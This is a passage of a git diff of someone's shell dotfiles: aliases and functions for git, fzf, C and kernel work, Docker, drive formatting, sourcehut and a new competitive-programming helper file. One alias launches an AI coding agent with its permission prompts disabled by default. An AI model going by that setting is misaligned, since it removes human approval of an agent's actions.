mutt='neomutt' +alias rss='sfeed_curses ~/.sfeed/feeds/*' +alias torrent='rtorrent' +alias warp='warp-terminal >/dev/null 2>&1 &' +alias mouse='mouseless >/dev/null 2>&1 &' +alias ff='fastfetch' +alias claude='claude --dangerously-skip-permissions' +alias nsxiv-thumb='nsxiv -t' +alias cmatrix='cmatrix -b' + +# Criterion CLI +alias cc="$HOME/src/criterion-cli/criterion" + +# Maritime Monitoring (Monarch Suite) +alias ssta='sea-surface-temperature-anomaly' +alias ohci='ocean-heat-content-index' +alias ssm='subsea-seismic-monitor' +alias svm='supervolcano-monitor' +alias kpi='kaiju-probability-index' +alias mc='maritime-charts' + +# Corpus directories +alias content='cd $HOME/.corpus/content' +alias til='cd $HOME/.corpus/til' + +# Tome shortcuts +alias tc='tome -nnn -create' +alias te='tome -nnn -edit' +alias td='tome -nnn -data' + +# Directory shortcuts +alias cdrice='cd ~/src/srice' +alias cdsite='cd ~/src/krisyotam.com' + +# ============================================================================ +# MISC +# ============================================================================ +alias sdn='sudo shutdown -h now' +alias delpyc='find . -type f -name "*.pyc" -delete && find . -type d -name __pycache__ -delete' +alias find-todos='rg "TODO|FIXME|HACK|XXX"' +alias diffo='diff -y --width=80' +alias diffq='diff -q' + +# ============================================================================ +# core functions +# ============================================================================ + +# ============================================================================ +# NAVIGATION +# ============================================================================ + +# mkdir + cd in one step +mkd() { + mkdir -p "$@" && cd "$_" +} + +# cd to git root +cdr() { + cd "$(git rev-parse --show-toplevel 2>/dev/null || pwd)" +} + +# go up N directories +up() { + local d="" + local limit="${1:-1}" + for i in $(seq 1 "$limit"); do + d="../$d" + done + cd "$d" || return 1 +} + +# create dir and cd into it +take() { + mkdir -p "$1" && cd "$1" +} + +# ============================================================================ +# FZF INTEGRATIONS +# ============================================================================ + +# fuzzy open file in editor +fe() { + file=$(fd --type f --hidden --exclude .git | fzf \ + --preview 'bat --color=always --style=numbers --line-range=:500 {}' \ + --preview-window 'right:60%' \ + --bind 'ctrl-/:toggle-preview') + [ -n "$file" ] && ${EDITOR:-nvim} "$file" +} + +# fuzzy grep + open at line +fg() { + result=$(rg --column --line-number --no-heading --color=always --smart-case "${1:-}" | + fzf --ansi \ + --color "hl:-1:underline,hl+:-1:underline:reverse" \ + --delimiter : \ + --preview 'bat --color=always {1} --highlight-line {2} --line-range {2}:+50' \ + --preview-window 'up,60%,border-bottom') + if [ -n "$result" ]; then + file=$(echo "$result" | cut -d: -f1) + line=$(echo "$result" | cut -d: -f2) + ${EDITOR:-nvim} "+$line" "$file" + fi +} + +# fuzzy cd into subdirectory +fcd() { + dir=$(fd --type d --hidden --exclude .git | fzf \ + --preview 'eza --tree --icons --level=2 --color=always {}' \ + --preview-window 'right:50%') + [ -n "$dir" ] && cd "$dir" +} + +# fuzzy git checkout branch +fbr() { + branch=$(git branch -a --sort=-committerdate | + sed 's/^..//' | sed 's#remotes/origin/##' | sort -u | + fzf --preview 'git log --oneline --graph --color=always {} -- | head -30') + [ -n "$branch" ] && git checkout "$branch" +} + +# fuzzy git log browser +fgl() { + git log --oneline --graph --color=always --all --decorate | + fzf --ansi --no-sort \ + --preview 'echo {} | grep -o "[a-f0-9]\{7,\}" | head -1 | xargs git show --color=always' \ + --preview-window 'right:60%' \ + --bind 'enter:execute(echo {} | grep -o "[a-f0-9]\{7,\}" | head -1 | xargs git show --color=always | less -R)' +} + +# fuzzy git stash browser +fgs() { + stash=$(git stash list | + fzf --preview 'echo {} | cut -d: -f1 | xargs git stash show -p --color=always' \ + --preview-window 'right:60%' | + cut -d: -f1) + [ -n "$stash" ] && git stash pop "$stash" +} + +# fuzzy process kill +fkill() { + pid=$(ps aux | + fzf --header-lines=1 \ + --preview 'echo {}' \ + --preview-window 'down:3:wrap' | + awk '{print $2}') + [ -n "$pid" ] && kill "${1:--9}" "$pid" +} + +# fuzzy man page +fman() { + man -k . 2>/dev/null | sort | + fzf --preview 'echo {} | awk "{print \$1}" | xargs man 2>/dev/null | head -80' | + awk '{print $1}' | xargs man +} + +# fuzzy env vars +fenv() { + var=$(printenv | sort | + fzf --preview 'echo {} | cut -d= -f2-' \ + --preview-window 'down:3:wrap') + [ -n "$var" ] && echo "$var" +} + +# fuzzy docker container exec +fdex() { + container=$(docker ps --format '{{.Names}}\t{{.Image}}\t{{.Status}}' | + fzf --preview 'echo {} | awk "{print \$1}" | xargs docker logs --tail 20 2>&1') + [ -n "$container" ] && docker exec -it "$(echo "$container" | awk '{print $1}')" "${1:-/bin/sh}" +} + +# fuzzy tmux session switcher +fts() { + session=$(tmux list-sessions -F '#S' 2>/dev/null | + fzf --preview 'tmux list-windows -t {} -F " #{window_index}: #{window_name} (#{pane_current_path})"') + [ -n "$session" ] && tmux switch-client -t "$session" +} + +# fuzzy history search +fh() { + cmd=$(history | sort -rn | awk '{$1=""; print substr($0,2)}' | sort -u | + fzf --preview 'echo {}' --preview-window 'down:3:wrap') + [ -n "$cmd" ] && eval "$cmd" +} + +# fuzzy SSH host connect +fssh() { + host=$(grep -E '^Host\s' ~/.ssh/config 2>/dev/null | awk '{print $2}' | grep -v '\*' | + fzf --preview 'grep -A5 "Host {}" ~/.ssh/config') + [ -n "$host" ] && ssh "$host" +} + +# ============================================================================ +# GIT POWER FUNCTIONS +# ============================================================================ + +# git commit browser +gshow() { + git log --oneline -20 | fzf --preview 'git show --color=always {1}' | cut -d' ' -f1 | xargs git show +} + +# find when a string was introduced (pickaxe search) +gwhen() { + [ -z "$1" ] && { echo "Usage: gwhen <string>"; return 1; } + git log -p -S "$1" --all +} + +# show all files changed between two branches +gbetween() { + base="${2:-main}" + git diff --name-status "$base"..."${1:-HEAD}" +} + +# interactive fixup +gfixup() { + commit=$(git log --oneline -20 | + fzf --preview 'git show --color=always {1}' | + cut -d' ' -f1) + if [ -n "$commit" ]; then + git commit --fixup="$commit" && git rebase -i --autosquash "$commit"~1 + fi +} + +# WIP commit +gwip() { + git add -A && git commit -m "WIP: $(date +%H:%M)" +} + +# undo last commit but keep changes +gundo() { + git reset --soft HEAD~1 +} + +# show what I did today +gtoday() { + git log --since="midnight" --author="$(git config user.name)" --oneline +} + +# show what I did this week +gweek() { + git log --since="1 week ago" --author="$(git config user.name)" --oneline --stat +} + +# diff with delta side-by-side +gdelta() { + git diff "$@" | delta --side-by-side +} + +# interactive branch delete (safe, skips main/master) +gbdel() { + branches=$(git branch --sort=-committerdate | + sed 's/^..//' | grep -v "main\|master" | + fzf -m --preview 'git log --oneline --graph --color=always {} | head -20') + [ -n "$branches" ] && echo "$branches" | xargs git branch -d +} + +# git contributors +gcontrib() { + git shortlog -sn --all --no-merges +} + +# diff stat between current branch and base +gdiffstat() { + base="${1:-main}" + git diff --stat "$base"...HEAD +} + +# amend + force push (feature branches only) +gpatch() { + git add -A && git commit --amend --no-edit && git push --force-with-lease +} + +# show git remote URL and open in browser +grepo() { + url=$(git config --get remote.origin.url) + url=${url%.git} + url=$(echo "$url" | sed 's|git@github.com:|https://github.com/|') + echo "$url" + command -v xdg-open >/dev/null && xdg-open "$url" 2>/dev/null +} + +# ============================================================================ +# C / SYSTEMS DEVELOPMENT +# ============================================================================ + +# compile and run C file +crun() { + file="$1"; shift + [ -z "$file" ] && { echo "Usage: crun <file.c> [args...]"; return 1; } + out="${file%.c}" + cc -std=c11 -Wall -Wextra -Wpedantic -g -O0 -fsanitize=address,undefined "$file" -o "$out" && "./$out" "$@" +} + +# compile C with full warnings (treat as errors) +cstrict() { + file="$1"; shift + [ -z "$file" ] && { echo "Usage: cstrict <file.c>"; return 1; } + out="${file%.c}" + cc -std=c11 -Wall -Wextra -Wpedantic -Werror -Wshadow -Wconversion \ + -Wdouble-promotion -Wformat=2 -Wundef -fno-common \ + -g -O0 -fsanitize=address,undefined "$file" -o "$out" +} + +# run valgrind with full leak check +memcheck() { + [ -z "$1" ] && { echo "Usage: memcheck <binary> [args...]"; return 1; } + valgrind --leak-check=full --show-leak-kinds=all --track-origins=yes \ + --verbose "$@" 2>&1 +} + +# generate compile_commands.json for clangd/LSP +compdb() { + if [ -f Makefile ]; then + bear -- make -j"$(nproc)" 2>/dev/null || compiledb make -j"$(nproc)" + elif [ -f CMakeLists.txt ]; then + cmake -DCMAKE_EXPORT_COMPILE_COMMANDS=ON -B build . + ln -sf build/compile_commands.json . + else + echo "No Makefile or CMakeLists.txt found" + return 1 + fi +} + +# size of each section in a binary +secsize() { + [ -z "$1" ] && { echo "Usage: secsize <binary>"; return 1; } + size -A "$1" | sort -k2 -n +} + +# disassemble a function from a binary +disas() { + bin="$1"; func="$2" + [ -z "$func" ] && { echo "Usage: disas <binary> <function>"; return 1; } + objdump -d "$bin" | awk "/^[0-9a-f]+ <$func>:/,/^$/" +} + +# ============================================================================ +# KERNEL DEVELOPMENT +# ============================================================================ + +# build kernel modules in current directory +kbuild() { + make -C /lib/modules/"$(uname -r)"/build M="$(pwd)" modules +} + +# load module from current directory +kload() { + mod="$1" + [ -z "$mod" ] && { echo "Usage: kload <module.ko>"; return 1; } + sudo insmod "$mod" && echo "[+] Loaded $mod" && dmesg | tail -5 +} + +# unload module +kunload() { + mod="$1" + [ -z "$mod" ] && { echo "Usage: kunload <module_name>"; return 1; } + sudo rmmod "$mod" && echo "[+] Unloaded $mod" && dmesg | tail -5 +} + +# trace a kernel function with ftrace +ktrace() { + func="$1" + [ -z "$func" ] && { echo "Usage: ktrace <function_name>"; return 1; } + echo "[*] Tracing $func (Ctrl+C to stop)..." + sudo sh -c " + echo nop > /sys/kernel/debug/tracing/current_tracer + echo function > /sys/kernel/debug/tracing/current_tracer + echo $func > /sys/kernel/debug/tracing/set_ftrace_filter + echo 1 > /sys/kernel/debug/tracing/tracing_on + cat /sys/kernel/debug/tracing/trace_pipe + " +} + +# quick perf profile and flamegraph +kperf() { + [ -z "$1" ] && { echo "Usage: kperf <command>"; return 1; } + perf record -g -- "$@" + perf script | stackcollapse-perf.pl | flamegraph.pl > flamegraph.svg + echo "[+] Flamegraph: flamegraph.svg" +} + +# ============================================================================ +# WEB DEVELOPMENT +# ============================================================================ + +# kill whatever is on a port +killport() { + port="$1" + [ -z "$port" ] && { echo "Usage: killport <port>"; return 1; } + pid=$(lsof -ti ":$port" 2>/dev/null || ss -tlnp "sport = :$port" | awk 'NR>1{print $6}' | grep -oP 'pid=\K\d+') + if [ -n "$pid" ]; then + kill -9 "$pid" && echo "[+] Killed PID $pid on port $port" + else + echo "[-] Nothing on port $port" + fi +} + +# quick local HTTP server +serve() { + port="${1:-8000}" + echo "[*] Serving $(pwd) on http://localhost:$port" + python3 -m http.server "$port" --bind 127.0.0.1 +} + +# JSON pretty print +jqp() { + if [ -n "$1" ]; then + python3 -m json.tool "$1" + else + python3 -m json.tool + fi +} + +# ============================================================================ +# DOCKER HELPERS +# ============================================================================ + +# shell into a running container +dsh() { + container="$1" + [ -z "$container" ] && { echo "Usage: dsh <container>"; return 1; } + docker exec -it "$container" /bin/sh -c "command -v bash >/dev/null && exec bash || exec sh" +} + +# follow logs with timestamps +dlogs() { + container="$1" + [ -z "$container" ] && { echo "Usage: dlogs <container>"; return 1; } + docker logs -f --timestamps "$container" +} + +# docker stats (formatted) +dstats() { + docker stats --format "table {{.Name}}\t{{.CPUPerc}}\t{{.MemUsage}}\t{{.NetIO}}" +} + +# remove stopped containers, dangling images, unused volumes +dcleanup() { + docker container prune -f + docker image prune -f + docker volume prune -f + echo "[+] Docker cleaned" +} + +# list images sorted by size +dimages() { + docker images --format "table {{.Repository}}\t{{.Tag}}\t{{.Size}}" | sort -k3 -h +} + +# ============================================================================ +# FILE UTILITIES +# ============================================================================ + +# extract anything +extract() { + if [ -f "$1" ]; then + case "$1" in + *.tar.bz2) tar xjf "$1" ;; + *.tar.gz) tar xzf "$1" ;; + *.tar.xz) tar xJf "$1" ;; + *.tar.zst) tar --zstd -xf "$1" ;; + *.bz2) bunzip2 "$1" ;; + *.rar) unrar x "$1" ;; + *.gz) gunzip "$1" ;; + *.tar) tar xf "$1" ;; + *.tbz2) tar xjf "$1" ;; + *.tgz) tar xzf "$1" ;; + *.zip) unzip "$1" ;; + *.Z) uncompress "$1" ;; + *.7z) 7z x "$1" ;; + *.xz) xz -d "$1" ;; + *.zst) zstd -d "$1" ;; + *) echo "Don't know how to extract '$1'" ;; + esac + else + echo "'$1' is not a valid file" + fi +} + +# file/dir size (human readable) +fsize() { + du -sh "${1:-.}" | cut -f1 +} + +# count files recursively +fcount() { + fd --type f "${1:-.}" | wc -l +} + +# diff two directories +dirdiff() { + diff <(cd "$1" && find . -type f | sort) <(cd "$2" && find . -type f | sort) +} + +# backup a file +bak() { + [ -z "$1" ] && { echo "Usage: bak <file>"; return 1; } + cp -a "$1" "${1}.bak.$(date +%Y%m%d%H%M%S)" +} + +# side-by-side diff +sdiff() { + diff --side-by-side --suppress-common-lines "$1" "$2" +} + +# find files larger than a given size +findlarge() { + local size="${1:-100M}" + fd --type f --size "+$size" | xargs ls -lhS 2>/dev/null +} + +# create a tar.gz from a directory +tgz() { + [ -z "$1" ] && { echo "Usage: tgz <dir>"; return 1; } + tar -czf "${1%/}.tar.gz" "$1" +} + +# ============================================================================ +# NETWORK +# ============================================================================ + +# what is using a port +whatsport() { + port="$1" + [ -z "$port" ] && { echo "Usage: whatsport <port>"; return 1; } + ss -tlnp "sport = :$port" 2>/dev/null || lsof -i ":$port" +} + +# quick DNS lookup +dig1() { + dig +nocmd "$1" any +multiline +noall +answer +} + +# test HTTP endpoint response time +httptime() { + url="$1" + [ -z "$url" ] && { echo "Usage: httptime <url>"; return 1; } + curl -o /dev/null -s -w "\ + DNS: %{time_namelookup}s\n\ + Connect: %{time_connect}s\n\ + TLS: %{time_appconnect}s\n\ + Start: %{time_starttransfer}s\n\ + Total: %{time_total}s\n\ + Size: %{size_download} bytes\n\ + Status: %{http_code}\n" "$url" +} + +# ============================================================================ +# SUCKLESS WORKFLOW +# ============================================================================ + +# edit suckless config and remind about deploy steps +sledit() { + prog="$1" + [ -z "$prog" ] && { echo "Usage: sledit <dwm|st|dmenu|dwmblocks>"; return 1; } + dir="$HOME/src/$prog" + [ ! -d "$dir" ] && { echo "No directory: $dir"; return 1; } + ${EDITOR:-nvim} "$dir/config.h" + echo "---" + echo "To deploy to laptop:" + echo " cd $dir && git add -A && git commit -m 'config update' && git push" + echo " ssh server 'cd ~/.local/src/$prog && git pull && sudo make clean install'" +} + +# ============================================================================ +# PROJECT SCAFFOLDING +# ============================================================================ + +# init a minimal C project +cinit() { + name="$1" + [ -z "$name" ] && { echo "Usage: cinit <project-name>"; return 1; } + mkdir -p "$name/src" + cat > "$name/src/main.c" << 'CEOF' +#include <stdio.h> +#include <stdlib.h> + +int +main(int argc, char *argv[]) +{ + (void)argc; + (void)argv; + return 0; +} +CEOF + cat > "$name/Makefile" << 'MKEOF' +CC = cc +CFLAGS = -std=c11 -Wall -Wextra -Wpedantic -g +LDFLAGS = +SRC = src/main.c +OBJ = $(SRC:.c=.o) +BIN = $(notdir $(CURDIR)) + +all: $(BIN) + +$(BIN): $(OBJ) + $(CC) $(LDFLAGS) -o $@ $(OBJ) + +%.o: %.c + $(CC) $(CFLAGS) -c -o $@ $< + +clean: + rm -f $(OBJ) $(BIN) + +.PHONY: all clean +MKEOF + cd "$name" + git init -q + echo "[+] C project '$name' initialized" +} + +# ============================================================================ +# PLAN 9 +# ============================================================================ + +# mk wrapper +p9mk() { + if command -v mk >/dev/null 2>&1; then + mk "$@" + else + echo "mk not found. Install plan9port." + fi +} + +# plumb a file (Plan 9 style) +p9plumb() { + [ -z "$1" ] && { echo "Usage: p9plumb <file>"; return 1; } + if command -v 9 >/dev/null 2>&1; then + 9 plumb "$1" + elif command -v plumb >/dev/null 2>&1; then + plumb "$1" + else + echo "plan9port not installed" + fi +} + +# open file with appropriate handler (Plan 9 style plumb for Linux) +p9open() { + file="$1" + [ -z "$file" ] && { echo "Usage: p9open <file>"; return 1; } + case "$file" in + *.pdf) zathura "$file" & ;; + *.png|*.jpg|*.jpeg|*.gif) sxiv "$file" & ;; + *.mp4|*.mkv|*.webm) mpv "$file" & ;; + *.mp3|*.flac|*.ogg) mpv --no-video "$file" & ;; + *.html) $BROWSER "$file" & ;; + http://*|https://*) $BROWSER "$file" & ;; + *) ${EDITOR:-nvim} "$file" ;; + esac +} + +# ============================================================================ +# SOURCEHUT +# ============================================================================ + +# send patches to a sr.ht mailing list +srht_send() { + list="${1:-$(git config sendemail.to)}" + [ -z "$list" ] && { echo "Usage: srht_send <list@lists.sr.ht> or set sendemail.to"; return 1; } + base=$(git merge-base HEAD origin/main 2>/dev/null || git merge-base HEAD origin/master) + git send-email --to="$list" "$base"..HEAD +} + +# send revision (v2, v3, etc.) +srht_resend() { + list="${1:-$(git config sendemail.to)}" + version="${2:-2}" + [ -z "$list" ] && { echo "Usage: srht_resend <list> <version>"; return 1; } + base=$(git merge-base HEAD origin/main 2>/dev/null || git merge-base HEAD origin/master) + git send-email --annotate -v"$version" --to="$list" "$base"..HEAD +} + +# apply patches from sr.ht mbox URL +srht_apply() { + [ -z "$1" ] && { echo "Usage: srht_apply <mbox-url>"; return 1; } + curl -s "$1" | git am -3 +} + +# quick GraphQL query to any sr.ht service +srht_gql() { + service="$1"; shift + echo "$*" | hut graphql "$service" +} + +# poll build status until completion +srht_wait() { + job_id="$1" + [ -z "$job_id" ] && { echo "Usage: srht_wait <job-id>"; return 1; } + token=$(cat ~/.config/srht/token) + while true; do + status=$(curl -s --oauth2-bearer "$token" -H 'Content-Type: application/json' \ + -d "{\"query\": \"{ job(id: $job_id) { status } }\"}" \ + https://builds.sr.ht/query | python3 -c "import json,sys; print(json.load(sys.stdin)['data']['job']['status'])") + printf "\r[%s] Job %s: %s" "$(date +%H:%M:%S)" "$job_id" "$status" + case "$status" in + SUCCESS|FAILED|TIMEOUT|CANCELLED) echo; return ;; + esac + sleep 10 + done +} + +# ============================================================================ +# NNN +# ============================================================================ + +# nnn with cd on exit +n() { + if [ -n "$NNNLVL" ] && [ "$NNNLVL" -ge 1 ]; then + echo "nnn is already running" + return + fi + NNN_TMPFILE="${XDG_CONFIG_HOME:-$HOME/.config}/nnn/.lastd" + export NNN_TMPFILE + nnn -Q "$@" + if [ -f "$NNN_TMPFILE" ]; then + . "$NNN_TMPFILE" + rm -f "$NNN_TMPFILE" + fi +} + +# Script editor -- pick and edit scripts in ~/.local/bin +se() { + choice=$(find ~/.local/bin -mindepth 1 -printf '%P\n' | fzf) + [ -n "$choice" ] && [ -f "$HOME/.local/bin/$choice" ] && $EDITOR "$HOME/.local/bin/$choice" +} + +# search repo names in ~/src/ +reposearch() { + [ -z "$1" ] && { echo "usage: reposearch <pattern>"; return 1; } + pattern=$(echo "$*" | tr '[:upper:]' '[:lower:]') + matches="" + count=0 + for d in "$HOME"/src/*/; do + name=${d%/} + name=${name##*/} + lower=$(echo "$name" | tr '[:upper:]' '[:lower:]') + case "$lower" in + *"$pattern"*) matches="$matches$name +"; count=$((count + 1)) ;; + esac + done + if [ "$count" -eq 0 ]; then + printf '\n \033[2mno matches for\033[0m \033[1m%s\033[0m\n\n' "$*" + return 1 + fi + printf '\n \033[2m%d match(es) for\033[0m \033[1m%s\033[0m\n\n' "$count" "$*" + echo "$matches" | while IFS= read -r m; do + [ -n "$m" ] && printf ' \033[36m>\033[0m %s\n' "$m" + done + printf '\n' +} + +lp() { cd "$HOME/edu/craft/learn"; } +fcc() { cd "$HOME/edu/craft/freecodecamp"; } + +# ============================================================================ +# DRIVE FORMATTING (adapted from omarchy, MIT license) +# ============================================================================ + +# write iso to sd card +iso2sd() { + if [ $# -lt 1 ]; then + echo "Usage: iso2sd <input_file> [output_device]" + echo "Example: iso2sd ~/dl/archlinux.iso /dev/sda" + return 1 + fi + local iso="$1" + local drive="$2" + if [ -z "$drive" ]; then + echo "Available drives:" + lsblk -dpno NAME,SIZE,MODEL | grep -E '/dev/sd' + printf "Select drive: " + read drive + [ -z "$drive" ] && echo "No drive selected" && return 1 + fi + sudo dd bs=4M status=progress oflag=sync if="$iso" of="$drive" + sudo eject "$drive" +} + +# format entire drive as single exFAT partition +format-drive() { + if [ $# -ne 2 ]; then + echo "Usage: format-drive <device> <name>" + echo "Example: format-drive /dev/sda 'My Stuff'" + echo "" + echo "Available drives:" + lsblk -d -o NAME -n | awk '{print "/dev/"$1}' + return 1 + fi + echo "WARNING: This will completely erase all data on $1 and label it '$2'." + printf "Are you sure? (y/N): " + read confirm + case "$confirm" in + [Yy]) + sudo wipefs -a "$1" + sudo dd if=/dev/zero of="$1" bs=1M count=100 status=progress + sudo parted -s "$1" mklabel gpt + sudo parted -s "$1" mkpart primary 1MiB 100% + sudo parted -s "$1" set 1 msftdata on + case "$1" in + *nvme*) partition="${1}p1" ;; + *) partition="${1}1" ;; + esac + sudo partprobe "$1" || true + sudo udevadm settle || true + sudo mkfs.exfat -n "$2" "$partition" + echo "Drive $1 formatted as exFAT and labeled '$2'." + ;; + esac +} + +# ============================================================================ +# SSH PORT FORWARDING (adapted from omarchy, MIT license) +# ============================================================================ + +# forward ports: fip <host> <port1> [port2] ... +fip() { + [ $# -lt 2 ] && echo "Usage: fip <host> <port1> [port2] ..." && return 1 + local host="$1" + shift + for port in "$@"; do + ssh -f -N -L "$port:localhost:$port" "$host" && echo "Forwarding localhost:$port -> $host:$port" + done +} + +# stop forwarding: dip <port1> [port2] ... +dip() { + [ $# -eq 0 ] && echo "Usage: dip <port1> [port2] ..." && return 1 + for port in "$@"; do + pkill -f "ssh.*-L $port:localhost:$port" && echo "Stopped forwarding port $port" || echo "No forwarding on port $port" + done +} + +# list active port forwards +lip() { + pgrep -af "ssh.*-L [0-9]+:localhost:[0-9]+" || echo "No active forwards" +} + +# ============================================================================ +# SYSTEM +# ============================================================================ + +# show listening ports with process names +portsinfo() { + ss -tlnp | awk 'NR>1 {print $4, $6}' | column -t +} + +# quick system overview +sysoverview() { + echo "Hostname: $(hostname)" + echo "Kernel: $(uname -r)" + echo "Uptime: $(uptime -p)" + echo "CPU: $(nproc) cores" + echo "Memory: $(free -h | awk '/Mem:/ {print $3 "/" $2}')" + echo "Disk: $(df -h / | awk 'NR==2 {print $3 "/" $2 " (" $5 ")"}')" + echo "Load: $(cut -d' ' -f1-3 /proc/loadavg)" +} + +# pipe to clipboard (wayland, X, or macOS) +clipfn() { + if command -v wl-copy >/dev/null 2>&1; then + wl-copy + elif command -v xclip >/dev/null 2>&1; then + xclip -selection clipboard + elif command -v pbcopy >/dev/null 2>&1; then + pbcopy + else + echo "No clipboard tool found" + return 1 + fi +} + +# deduplicate PATH entries +pathdedup() { + PATH=$(echo "$PATH" | tr ':' '\n' | awk '!seen[$0]++' | tr '\n' ':' | sed 's/:$//') + export PATH + echo "PATH deduplicated" +} + +# ============================================================================ +# ENCODING / DATA +# ============================================================================ + +# percent-encode a string +urlencode() { + python3 -c "import urllib.parse; print(urllib.parse.quote('$*'))" +} + +# decode a percent-encoded string +urldecode() { + python3 -c "import urllib.parse; print(urllib.parse.unquote('$*'))" +} + +# minify JSON from stdin +jqmin() { + python3 -c "import json,sys; json.dump(json.load(sys.stdin),sys.stdout,separators=(',',':'))" +} + +# ============================================================================ +# MISC UTILITIES +# ============================================================================ + +# quick note +note() { + echo "$(date +%Y-%m-%d\ %H:%M) -- $*" >> "$HOME/.notes" +} + +# show notes +notes() { + [ -f "$HOME/.notes" ] && cat "$HOME/.notes" || echo "No notes yet" +} + +# weather +wttr() { + curl -s "wttr.in/${1:-}?format=v2" +} + +# cheat.sh +cheat() { + curl -s "cheat.sh/$1" +} + +# count lines of code +loc() { + if command -v tokei >/dev/null 2>&1; then + tokei "${1:-.}" + else + find "${1:-.}" -name '*.c' -o -name '*.h' -o -name '*.go' -o -name '*.py' \ + -o -name '*.js' -o -name '*.ts' -o -name '*.tsx' -o -name '*.rs' | + xargs wc -l | tail -1 + fi +} + +# benchmark a command N times +benchn() { + n="${1:-10}"; shift + [ -z "$1" ] && { echo "Usage: benchn <N> <command...>"; return 1; } + hyperfine --runs "$n" "$*" +} + +# quick timer +timer() { + start=$(date +%s) + echo "Timer started. Press Enter to stop." + read -r _ + elapsed=$(( $(date +%s) - start )) + printf "Elapsed: %02d:%02d:%02d\n" $((elapsed/3600)) $((elapsed%3600/60)) $((elapsed%60)) +} + +# colorized man pages +man() { + LESS_TERMCAP_md=$'\e[01;31m' \ + LESS_TERMCAP_me=$'\e[0m' \ + LESS_TERMCAP_so=$'\e[01;44;33m' \ + LESS_TERMCAP_se=$'\e[0m' \ + LESS_TERMCAP_us=$'\e[01;32m' \ + LESS_TERMCAP_ue=$'\e[0m' \ + command man "$@" +} + +# feedsync -- sync kris.opml into sfeedrc +feedsync() { + opml="$HOME/src/krisyotam.com/public/kris.opml" + if [ ! -f "$opml" ]; then + echo "feedsync: $opml not found" >&2 + return 1 + fi + sfeed_opml_import <"$opml" >"$HOME/.sfeed/sfeedrc" + echo "sfeedrc updated from kris.opml" +} + +# Launch Google Earth Pro (detached) +earth() { + setsid google-earth-pro >/dev/null 2>&1 & +} diff --git a/.config/.mksh/cp.sh b/.config/.mksh/cp.sh new file mode 100644 index 0000000000000000000000000000000000000000..c4ce9ac176ea737dc05add6bf01d454f27fcd3bf --- /dev/null +++ b/.config/.mksh/cp.sh @@ -0,0 +1,323 @@ +# cp -- competitive programming aliases and functions +# Sources: cf-tool, online-judge-tools, community CP setups + +CPTPL="$HOME/.local/share/templates/cp" + +# ============================================================================ +# COMPILATION +# ============================================================================ +alias cpsane='g++ -std=c++17 -O2 -Wall -Wextra -Wshadow -Wno-unused-result' +alias cpasan='g++ -std=c++17 -g -O0 -Wall -Wextra -Wshadow -fsanitize=address,undefined -D_GLIBCXX_DEBUG -DLOCAL' +alias cpfast='g++ -std=c++17 -O2 -DLOCAL' +alias cp20='g++ -std=c++20 -O2 -Wall -Wextra -Wshadow' +alias cpjava='javac -encoding UTF-8' +alias cppy='python3' +alias cpr='g++ -std=c++17 -O2 -Wall -Wextra' +alias cpd='g++ -std=c++17 -g -O0 -Wall -Wextra -Wpedantic -fsanitize=address,undefined -D_GLIBCXX_DEBUG' +alias cpf='g++ -std=c++17 -O2 -Wall' + +# ============================================================================ +# BUILD & RUN SHORTCUTS +# ============================================================================ +alias cra='g++ -std=c++17 -O2 -o a a.cpp && ./a' +alias crb='g++ -std=c++17 -O2 -o b b.cpp && ./b' +alias crc='g++ -std=c++17 -O2 -o c c.cpp && ./c' +alias crd='g++ -std=c++17 -O2 -o d d.cpp && ./d' +alias cre='g++ -std=c++17 -O2 -o e e.cpp && ./e' +alias crf='g++ -std=c++17 -O2 -o f f.cpp && ./f' + +# ============================================================================ +# CF-TOOL (CODEFORCES CLI) +# ============================================================================ +alias cfl='cf list' +alias cfs='cf submit' +alias cft='cf test' +alias cfp='cf parse' +alias cfw='cf watch' +alias cfst='cf stand' +alias cfr='cf race' + +# ============================================================================ +# ONLINE-JUDGE-TOOLS (oj) +# ============================================================================ +alias ojd='oj download' +alias ojt='oj test' +alias ojs='oj submit' +alias ojg='oj generate-input' + +# ============================================================================ +# ATCODER CLI (acc) +# ============================================================================ +alias accn='acc new' +alias accs='acc submit' +alias acct='acc test' + +# ============================================================================ +# TESTING +# ============================================================================ +alias timeout5='timeout 5' +alias timeout10='timeout 10' + +# ============================================================================ +# DIRECTORY SHORTCUTS +# ============================================================================ +alias cdcp='cd ~/cp' +alias cdcf='cd ~/cp/codeforces' +alias cdac='cd ~/cp/atcoder' +alias cdlc='cd ~/cp/leetcode' +alias cdusaco='cd ~/cp/usaco' + +# ============================================================================ +# FUNCTIONS +# ============================================================================ + +# initialize Codeforces contest workspace +cfinit() { + contest="$1" + [ -z "$contest" ] && { echo "Usage: cfinit <contest-number>"; return 1; } + dir="$HOME/cp/codeforces/$contest" + mkdir -p "$dir" + for prob in a b c d e f; do + cp "$CPTPL/cpp.cpp" "$dir/$prob.cpp" 2>/dev/null || \ + cat > "$dir/$prob.cpp" << 'CPPEOF' +#include <bits/stdc++.h> +using namespace std; +int main() { + ios::sync_with_stdio(false); + cin.tie(nullptr); + return 0; +} +CPPEOF + done + echo "[+] CF $contest workspace: $dir" + cd "$dir" +} + +# initialize AtCoder contest workspace +acinit() { + contest="$1" + [ -z "$contest" ] && { echo "Usage: acinit <contest-id> (e.g. abc300)"; return 1; } + dir="$HOME/cp/atcoder/$contest" + mkdir -p "$dir" + for prob in a b c d e f g; do + cp "$CPTPL/cpp.cpp" "$dir/$prob.cpp" 2>/dev/null || \ + cat > "$dir/$prob.cpp" << 'CPPEOF' +#include <bits/stdc++.h> +using namespace std; +int main() { + ios::sync_with_stdio(false); + cin.tie(nullptr); + return 0; +} +CPPEOF + done + echo "[+] AtCoder $contest workspace: $dir" + cd "$dir" +} + +# initialize LeetCode problem workspace +lcinit() { + num="$1"; name="$2" + [ -z "$num" ] && { echo "Usage: lcinit <number> [name]"; return 1; } + slug="${name:-problem}" + dir="$HOME/cp/leetcode/${num}-${slug}" + mkdir -p "$dir" + cp "$CPTPL/cpp.cpp" "$dir/sol.cpp" 2>/dev/null + echo "[+] LC $num workspace: $dir" + cd "$dir" +} + +# generic problem workspace +cpinit() { + name="$1" + [ -z "$name" ] && { echo "Usage: cpinit <name>"; return 1; } + cp "$CPTPL/cpp.cpp" "$name.cpp" 2>/dev/null || \ + cat > "$name.cpp" << 'CPPEOF' +#include <bits/stdc++.h> +using namespace std; +int main() { + ios::sync_with_stdio(false); + cin.tie(nullptr); + return 0; +} +CPPEOF + echo "[+] Created $name.cpp" +} + +# compile and run with input from file or stdin +cprun() { + src="$1"; input="$2" + [ -z "$src" ] && { echo "Usage: cprun <source.cpp> [input-file]"; return 1; } + exe="${src%.cpp}" + 